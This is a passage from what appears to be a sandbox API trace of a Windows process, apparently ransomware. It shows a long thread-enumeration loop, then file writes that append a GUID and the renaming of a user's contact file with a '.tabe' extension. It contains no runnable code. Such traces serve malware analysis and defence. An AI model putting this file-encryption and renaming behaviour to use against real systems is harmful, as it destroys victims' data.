GetTickCount () returned 0x1134912 [0125.819] GetCurrentThreadId () returned 0x134 [0125.819] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.819] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.819] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.820] GetTickCount () returned 0x1134912 [0125.820] GetCurrentThreadId () returned 0x134 [0125.820] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.820] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.820] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.821] GetTickCount () returned 0x1134912 [0125.821] GetCurrentThreadId () returned 0x134 [0125.821] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.821] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.821] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.821] GetTickCount () returned 0x1134912 [0125.822] GetCurrentThreadId () returned 0x134 [0125.822] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.822] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.822] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.822] GetTickCount () returned 0x1134912 [0125.822] GetCurrentThreadId () returned 0x134 [0125.822] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.822] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.822] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.823] GetTickCount () returned 0x1134912 [0125.823] GetCurrentThreadId () returned 0x134 [0125.823] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.823] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.823] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.824] GetTickCount () returned 0x1134912 [0125.824] GetCurrentThreadId () returned 0x134 [0125.824] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.824] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.824] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.824] GetTickCount () returned 0x1134912 [0125.824] GetCurrentThreadId () returned 0x134 [0125.825] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.825] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.825] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.825] GetTickCount () returned 0x1134921 [0125.825] GetCurrentThreadId () returned 0x134 [0125.825] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.825] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.825] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.826] GetTickCount () returned 0x1134921 [0125.826] GetCurrentThreadId () returned 0x134 [0125.826] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.826] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.826] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.827] GetTickCount () returned 0x1134921 [0125.827] GetCurrentThreadId () returned 0x134 [0125.827] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.827] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.827] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.827] GetTickCount () returned 0x1134921 [0125.827] GetCurrentThreadId () returned 0x134 [0125.827] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.827] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.827] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.828] GetTickCount () returned 0x1134921 [0125.828] GetCurrentThreadId () returned 0x134 [0125.828] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.828] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.828] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.829] GetTickCount () returned 0x1134921 [0125.829] GetCurrentThreadId () returned 0x134 [0125.829] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.829] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.829] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.829] GetTickCount () returned 0x1134921 [0125.829] GetCurrentThreadId () returned 0x134 [0125.829] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.829] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.829] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.830] GetTickCount () returned 0x1134921 [0125.830] GetCurrentThreadId () returned 0x134 [0125.830] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.830] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.830] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.831] GetTickCount () returned 0x1134921 [0125.831] GetCurrentThreadId () returned 0x134 [0125.831] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.831] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.831] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.831] GetTickCount () returned 0x1134921 [0125.831] GetCurrentThreadId () returned 0x134 [0125.831] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.831] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.831] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.832] GetTickCount () returned 0x1134921 [0125.832] GetCurrentThreadId () returned 0x134 [0125.832] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.832] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.832] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.833] GetTickCount () returned 0x1134921 [0125.833] GetCurrentThreadId () returned 0x134 [0125.833] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.833] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.833] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.833] GetTickCount () returned 0x1134921 [0125.833] GetCurrentThreadId () returned 0x134 [0125.833] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.833] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.833] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.834] GetTickCount () returned 0x1134921 [0125.834] GetCurrentThreadId () returned 0x134 [0125.834] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.834] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.834] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.835] GetTickCount () returned 0x1134921 [0125.835] GetCurrentThreadId () returned 0x134 [0125.835] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.835] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.835] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.835] GetTickCount () returned 0x1134921 [0125.835] GetCurrentThreadId () returned 0x134 [0125.835] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.836] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.836] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.836] GetTickCount () returned 0x1134921 [0125.836] GetCurrentThreadId () returned 0x134 [0125.836] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.836] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.836] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.837] GetTickCount () returned 0x1134921 [0125.837] GetCurrentThreadId () returned 0x134 [0125.837] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.837] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.837] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.837] GetTickCount () returned 0x1134921 [0125.838] GetCurrentThreadId () returned 0x134 [0125.838] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.838] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.838] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.838] GetTickCount () returned 0x1134921 [0125.838] GetCurrentThreadId () returned 0x134 [0125.838] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.838] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.838] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.839] GetTickCount () returned 0x1134921 [0125.839] GetCurrentThreadId () returned 0x134 [0125.839] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.839] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.839] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.840] GetTickCount () returned 0x1134921 [0125.840] GetCurrentThreadId () returned 0x134 [0125.840] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.840] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.840] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.840] GetTickCount () returned 0x1134921 [0125.840] GetCurrentThreadId () returned 0x134 [0125.840] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.840] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.840] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.841] GetTickCount () returned 0x1134931 [0125.841] GetCurrentThreadId () returned 0x134 [0125.841] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.841] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.841] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.842] GetTickCount () returned 0x1134931 [0125.842] GetCurrentThreadId () returned 0x134 [0125.842] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.842] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.842] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.842] GetTickCount () returned 0x1134931 [0125.842] GetCurrentThreadId () returned 0x134 [0125.842] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.842] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.842] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.843] GetTickCount () returned 0x1134931 [0125.843] GetCurrentThreadId () returned 0x134 [0125.843] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.843] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.843] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.844] GetTickCount () returned 0x1134931 [0125.844] GetCurrentThreadId () returned 0x134 [0125.844] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.844] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.844] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.844] GetTickCount () returned 0x1134931 [0125.844] GetCurrentThreadId () returned 0x134 [0125.844] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.844] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.845] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.845] GetTickCount () returned 0x1134931 [0125.845] GetCurrentThreadId () returned 0x134 [0125.845] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.845] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.845] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.846] GetTickCount () returned 0x1134931 [0125.846] GetCurrentThreadId () returned 0x134 [0125.846] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.846] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.846] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.846] GetTickCount () returned 0x1134931 [0125.846] GetCurrentThreadId () returned 0x134 [0125.846] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.847] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.847] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.847] GetTickCount () returned 0x1134931 [0125.847] GetCurrentThreadId () returned 0x134 [0125.847] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.847] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.847] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.848] GetTickCount () returned 0x1134931 [0125.848] GetCurrentThreadId () returned 0x134 [0125.848] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.848] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.848] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.849] GetTickCount () returned 0x1134931 [0125.849] GetCurrentThreadId () returned 0x134 [0125.849] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.849] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.849] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.849] GetTickCount () returned 0x1134931 [0125.849] GetCurrentThreadId () returned 0x134 [0125.849] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.849] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.849] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.850] GetTickCount () returned 0x1134931 [0125.850] GetCurrentThreadId () returned 0x134 [0125.850] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.850] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.850] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.851] GetTickCount () returned 0x1134931 [0125.851] GetCurrentThreadId () returned 0x134 [0125.851] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.851] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.851] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.851] GetTickCount () returned 0x1134931 [0125.851] GetCurrentThreadId () returned 0x134 [0125.851] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.851] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.851] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.852] GetTickCount () returned 0x1134931 [0125.852] GetCurrentThreadId () returned 0x134 [0125.852] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.852] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.852] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.853] GetTickCount () returned 0x1134931 [0125.853] GetCurrentThreadId () returned 0x134 [0125.853] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.853] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.853] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.853] GetTickCount () returned 0x1134931 [0125.853] GetCurrentThreadId () returned 0x134 [0125.853] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.854] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.854] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.854] GetTickCount () returned 0x1134931 [0125.854] GetCurrentThreadId () returned 0x134 [0125.854] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.854] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.854] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.855] GetTickCount () returned 0x1134931 [0125.855] GetCurrentThreadId () returned 0x134 [0125.855] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.855] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.855] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.856] GetTickCount () returned 0x1134931 [0125.856] GetCurrentThreadId () returned 0x134 [0125.856] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.856] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.856] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.856] GetTickCount () returned 0x1134931 [0125.856] GetCurrentThreadId () returned 0x134 [0125.856] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.856] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.856] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.857] GetTickCount () returned 0x1134941 [0125.857] GetCurrentThreadId () returned 0x134 [0125.857] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.857] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.857] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.858] GetTickCount () returned 0x1134941 [0125.858] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.859] GetTickCount () returned 0x1134941 [0125.859] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.859] GetTickCount () returned 0x1134941 [0125.859] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.860] GetTickCount () returned 0x1134941 [0125.860] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.860] GetTickCount () returned 0x1134941 [0125.860] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.861] GetTickCount () returned 0x1134941 [0125.861] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.862] GetTickCount () returned 0x1134941 [0125.862] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.863] GetTickCount () returned 0x1134941 [0125.863] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.863] GetTickCount () returned 0x1134941 [0125.863] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.864] GetTickCount () returned 0x1134941 [0125.864] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.864] GetTickCount () returned 0x1134941 [0125.865] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.865] GetTickCount () returned 0x1134941 [0125.865] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.866] GetTickCount () returned 0x1134941 [0125.866] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.866] GetTickCount () returned 0x1134941 [0125.866] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.867] GetTickCount () returned 0x1134941 [0125.867] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.867] GetTickCount () returned 0x1134941 [0125.867] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.868] GetTickCount () returned 0x1134941 [0125.868] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.869] GetTickCount () returned 0x1134941 [0125.869] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.869] GetTickCount () returned 0x1134941 [0125.869] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.870] GetTickCount () returned 0x1134941 [0125.870] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.870] GetTickCount () returned 0x1134941 [0125.870] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.871] GetTickCount () returned 0x1134941 [0125.871] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.872] GetTickCount () returned 0x1134941 [0125.872] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.872] GetTickCount () returned 0x1134950 [0125.872] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.873] GetTickCount () returned 0x1134950 [0125.873] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.873] GetTickCount () returned 0x1134950 [0125.873] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.874] GetTickCount () returned 0x1134950 [0125.874] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.875] GetTickCount () returned 0x1134950 [0125.875] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.875] GetTickCount () returned 0x1134950 [0125.875] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.876] GetTickCount () returned 0x1134950 [0125.876] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.876] GetTickCount () returned 0x1134950 [0125.876] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.877] GetTickCount () returned 0x1134950 [0125.877] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.877] GetTickCount () returned 0x1134950 [0125.878] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.878] GetTickCount () returned 0x1134950 [0125.878] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.879] GetTickCount () returned 0x1134950 [0125.879] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.879] GetTickCount () returned 0x1134950 [0125.879] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.880] GetTickCount () returned 0x1134950 [0125.880] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.880] GetTickCount () returned 0x1134950 [0125.880] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.881] GetTickCount () returned 0x1134950 [0125.881] Thread32Next (hSnapshot=0x628, lpte=0x3dcf434) returned 1 [0125.882] GetTickCount () returned 0x1134950 [0125.934] FreeLibrary (hLibModule=0x76fe0000) returned 1 [0125.934] QueryPerformanceCounter (in: lpPerformanceCount=0x3dcefa4 | out: lpPerformanceCount=0x3dcefa4*=8618958437) returned 1 [0125.934] GlobalMemoryStatus (in: lpBuffer=0x3dcf414 | out: lpBuffer=0x3dcf414) [0125.935] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x49a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.935] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0125.935] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.935] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0125.935] CloseHandle (hObject=0x618) returned 1 [0125.936] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact.tabe")) returned 1 [0125.938] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0125.938] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS 